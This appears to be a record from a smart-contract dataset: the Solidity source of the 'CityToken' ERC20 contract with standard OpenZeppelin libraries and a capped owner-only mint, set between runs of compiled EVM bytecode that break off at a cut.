ffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610baf600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361156e565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f1e5780601f10610ef357610100808354040283529160200191610f1e565b820191906000526020600020905b815481529060010190602001808311610f0157829003601f168201915b505050505081565b6000828211151515610f3757600080fd5b818303905092915050565b6000610f8d600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f26565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611019600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361156e565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156110db57600080fd5b81838115156110e657fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112cc5780820151818401526020810190506112b1565b50505050905090810190601f1680156112f95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561131a57600080fd5b5af1151561132757600080fd5b505050600190509392505050565b600081830290506000831480611355575081838281151561135257fe5b04145b151561136057600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e957600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156114ac57600080fd5b5af115156114b957600080fd5b5050506040513d60208110156114ce57600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561158457600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115e557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820e54e6e1e61e3150b3970b21be4ae3d5576ae5977e0c5be75d42aab4aac50d44e0029
[ 2 ]
0xf27dc1f57f8c8f57ab7dbbb25ce1747fcb542100
/* website: cityswap.io ██████╗██╗████████╗██╗ ██╗ ██╔════╝██║╚══██╔══╝╚██╗ ██╔╝ ██║ ██║ ██║ ╚████╔╝ ██║ ██║ ██║ ╚██╔╝ ╚██████╗██║ ██║ ██║ ╚═════╝╚═╝ ╚═╝ ╚═╝ */ pragma solidity ^0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // CityToken with Governance. contract CityToken is ERC20("CityToken", "CT"), Ownable { uint256 public constant MAX_SUPPLY = 6841000000 * 10**18; /** * @notice Creates `_amount` token to `_to`. Must only be called by the owner (CityAgency). */ function mint(address _to, uint256 _amount) public onlyOwner { uint256 _totalSupply = totalSupply(); if(_totalSupply.add(_amount) > MAX_SUPPLY) { _amount = MAX_SUPPLY.sub(_totalSupply); } require(_totalSupply.add(_amount) <= MAX_SUPPLY); _mint(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610498578063a9059cbb146104fc578063dd62ed3e14610560578063f2fde38b146105d857610100565b806370a082311461037f578063715018a6146103d75780638da5cb5b146103e157806395d89b411461041557610100565b8063313ce567116100d3578063313ce5671461028e57806332cb6b0c146102af57806339509351146102cd57806340c10f191461033157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d61061c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106be565b60405180821515815260200191505060405180910390f35b6101f46106dc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e6565b60405180821515815260200191505060405180910390f35b6102966107bf565b604051808260ff16815260200191505060405180910390f35b6102b76107d6565b6040518082815260200191505060405180910390f35b610319600480360360408110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e6565b60405180821515815260200191505060405180910390f35b61037d6004803603604081101561034757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610899565b005b6103c16004803603602081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f1565b6040518082815260200191505060405180910390f35b6103df610a39565b005b6103e9610bc4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61041d610bee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045d578082015181840152602081019050610442565b50505050905090810190601f16801561048a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104e4600480360360408110156104ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c90565b60405180821515815260200191505060405180910390f35b6105486004803603604081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5d565b60405180821515815260200191505060405180910390f35b6105c26004803603604081101561057657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d7b565b6040518082815260200191505060405180910390f35b61061a600480360360208110156105ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e02565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b45780601f10610689576101008083540402835291602001916106b4565b820191906000526020600020905b81548152906001019060200180831161069757829003601f168201915b5050505050905090565b60006106d26106cb611012565b848461101a565b6001905092915050565b6000600254905090565b60006106f3848484611211565b6107b4846106ff611012565b6107af856040518060600160405280602881526020016118c260289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765611012565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d29092919063ffffffff16565b61101a565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6b161abe1919423a135900000081565b600061088f6107f3611012565b8461088a8560016000610804611012565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159290919063ffffffff16565b61101a565b6001905092915050565b6108a1611012565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610963576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815250602001915